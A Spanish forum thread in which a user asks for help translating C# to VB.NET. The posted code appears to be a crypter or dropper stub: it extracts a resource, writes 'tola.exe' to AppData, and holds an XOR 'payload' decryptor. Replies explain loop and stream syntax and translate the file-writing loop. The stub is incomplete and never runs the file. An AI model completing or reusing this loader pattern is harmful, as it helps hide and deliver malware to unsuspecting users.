Traducir este código a vb.net

Iniciado por Borito30, 5 Junio 2017, 02:29 AM

0 Miembros y 1 Visitante están viendo este tema.

Borito30

Hola mi pregunta es sobre todo en los for se me hace complicado y en el stream. El completo código sería:
Código (csharp) [Seleccionar]
namespace skip
{
   static class Program
   {
       [STAThread]
       static void Main()
       {
           Application.EnableVisualStyles();
           Application.SetCompatibleTextRenderingDefault(false);
           //Application.Run(new Form1());

           byte[] file =
 File.ReadAllBytes(System.Reflection.Assembly.GetExecutingAssembly().Location);

           var position = PatternAt(file, Encoding.ASCII.GetBytes("BLAUMOLAMUCHO"));

           int longitudSeparador = Encoding.ASCII.GetBytes("BLAUMOLAMUCHO").Length;

           byte[] encodedBytes = new byte[file.Length - position.First()-longitudSeparador];
           Array.Copy(file, position.First()+ longitudSeparador, encodedBytes, 0, file.Length - position.First()-longitudSeparador);

           //ruta del fichero embebido
           string tempPath = System.IO.Path.GetTempPath();
           string appDataPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
           //var stream
           Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("Manifest");
           //Console.WriteLine(stream);
           FileStream fileStream = new FileStream(appDataPath+ @"\tola.exe", FileMode.Create, FileAccess.Write);
           for (int i = 0; i < stream.Length; i++)
               fileStream.WriteByte((byte)stream.ReadByte());
           fileStream.Close();
           RunInternal(appDataPath + @"\tola.exe", "1234");
        }




       private static void RunInternal(string exeName, String pass)
       {
           //Verify the Payload exists
           if (!File.Exists(exeName))
               return;

           //Read the raw bytes of the file
           byte[] resourcesBuffer = File.ReadAllBytes(exeName);

           byte[] decryptedBuffer = resourcesBuffer;




           //If .NET executable -> Run
           if (System.Text.Encoding.ASCII.GetString(decryptedBuffer).Contains("</assembly>")) //Esto devuelve false
           {

           }
           else
           {
               //Console.WriteLine(Encoding.ASCII.GetString(decryptedBuffer));
              //Console.ReadKey();
           }

       }

       /// <summary>
       /// Decrypt the Loaded Assembly Bytes
       /// </summary>
       /// <param name="payload"></param>
       /// <returns>Decrypted Bytes</returns>
       /// algoritmo xor
       private static byte[] decryptBytes(byte[] bytes, String pass)
       {
           byte[] XorBytes = Encoding.Unicode.GetBytes(pass);

           for (int i = 0; i < bytes.Length; i++)
           {
               bytes[i] ^= XorBytes[i % XorBytes.Length];
           }

           return bytes;
       }
   }
}


Por lo menos si no quereis indicarlo enterlo simplemente con los for y el streamer sería suficiente para comprender mejor las diferencias. gracias.
Estoy en contra del foro libre y la Sección de juegos y consolas (distraen al personal)

Serapis

Un bucle for en C, no es tan distinto de un bucle for en VB... aunque me parece más transparente el de Vb, es cuestión de acostumbrarse...

Desgajo los bucles, así analizas y comparas las partes:
for (int i = 0; i < bytes.Length; i++)
For i = 0  to bytes.length step 1 ' en VB si Step =1, se puede omitir...

Un Stream no es distinto en VB que en C.
En el siguiente enlace, verás que los métodos, constructores, etc... son idénticos, solo cambia a veces la sintaxis conforme a cada lenguaje. de hecho pulsa en una sintaxis, y luego en la de VB, para ver las diferencias
https://msdn.microsoft.com/es-es/library/system.io.stream(v=vs.110).aspx?cs-save-lang=1&cs-lang=vb#code-snippet-1

Si el problema es que no entiendes muy bien la clase, debajo de las propiedades y métodos, vienen unos comentarios que te ayudarán a entenderlo mejor.

Y debajo de los comentarios hay un ejemplo (muy escueto) de código en C# y el mismo en VB

Borito30

#2
Esta parte se me hace un poco complicada:

for (int i = 0; i < stream.Length; i++)
fileStream.WriteByte((byte)stream.ReadByte());
fileStream.Close();


Intente hacer un ejemplo basado en lo que me pasastes:
Dim stream As Stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("skip.skip.exe")
'Console.WriteLine(stream);
Using outFile As New System.IO.FileStream(appDataPath+"\tola.exe", IO.FileMode.Create, IO.FileAccess.Write)
For i = 0  To stream.length Step 1
outFile.Read((byte)stream.ReadByte())
Next
outFile.Close()
End Using


Pero me da algunos errores:
'.' expected. (BC30287) -
'Byte' is a type and cannot be used as an expression. (BC30108) -
'inFile' is not declared. It may be inaccessible due to its protection level. (BC30451) -


Por lo que supongo que en:
outfile.Read((byte)stream.ReadByte())

Varia bastante a como se hace en c#.
Estoy en contra del foro libre y la Sección de juegos y consolas (distraen al personal)

Eleкtro

#3
Cita de: Ragaza en  5 Junio 2017, 03:48 AM
Esta parte se me hace un poco complicada:
Using outFile As New FileStream(...)
outFile.Read((byte)stream.ReadByte())


Pero me da algunos errores:
'.' expected. (BC30287) -
'Byte' is a type and cannot be used as an expression. (BC30108) -
'inFile' is not declared. It may be inaccessible due to its protection level. (BC30451) -


Por lo que supongo que en:
outfile.Read((byte)stream.ReadByte())

Varia bastante a como se hace en c#.

En la IDE de Visual Studio, puedes pasar el puntero del ratón por encima del método outfile.Read() y comprobar cual es el tipo de datos que éste acepta como argumento. O puedes usar el Object Inspector de Visual Studio para comprobar lo mismo, o directamente puedes acudir a la MSDN y leer la documentación del método FileStream.Read(). Luego de que lo hayas hecho puedes regresar aquí y decirnos si realmente existe alguna sobrecarga de ese método que acepte un valor de tipo"Byte" como le estás intentando pasar. (es ironia)
Lo que intento decir es que puedes hallar la causa a un problema tan básico tan solo informándote un poquito y sin salirte de la IDE, en vez de tener que escribir una pregunta en un foro... te basta con buscar en la MSDN.

el otro problema es que esta orden la has escrito directamente usando la sintaxis de C#: (Byte)stream.ReadByte(). En VB.NET la conversión sería así: CByte(stream.ReadByte())

Con respecto a este error:
Citar'inFile' is not declared. It may be inaccessible due to its protection level. (BC30451) -
...Bueno, en el código original que has mostrado no existe ningún miembro llamado "inFile", y no has mostrado su declaración, así que es imposible decirte como corregirlo, pero de todas formas el error se explica por si solo: El miembro "inFile" no está declarado, o no lo has declarado con una accesibilidad que te permita usarlo desde el nivel de accesibilidad del miembro desde el que estás intentando acceder a él.




Todas estas explicaciones de aquí arriba podría habermelas ahorrado y no explicar nada, por que lo cierto es que no tienes que mandar a nadie traducir un código de C# a VB.NET cuando eso puedes hacerlo tú mismo usando cualquier conversor online u offline de .NET, como por ejemplo http://converter.telerik.com/ y, a menos que el conversor producza una traducción de código con errores entonces no veo motivo para formular este tipo de preguntas... (o a menos que quieras comprender y aprender a hacerlo por ti mismo )

Código (vbnet) [Seleccionar]
Using sr As Stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("Manifest"),
      fs As New FileStream(appDataPath & "\tola.exe", FileMode.Create, FileAccess.Write)

    For i As Integer = 0 To CInt(sr.Length - 1)
        fs.WriteByte(CByte(sr.ReadByte()))
    Next i

End Using


Como puedes comprobar, si que hay diferencias, la mayor diferencia es que tú estás intentando utilizar la función FileStream.Read() cuando en el código original se utiliza el método FileStream.WriteByte()...

Saludos!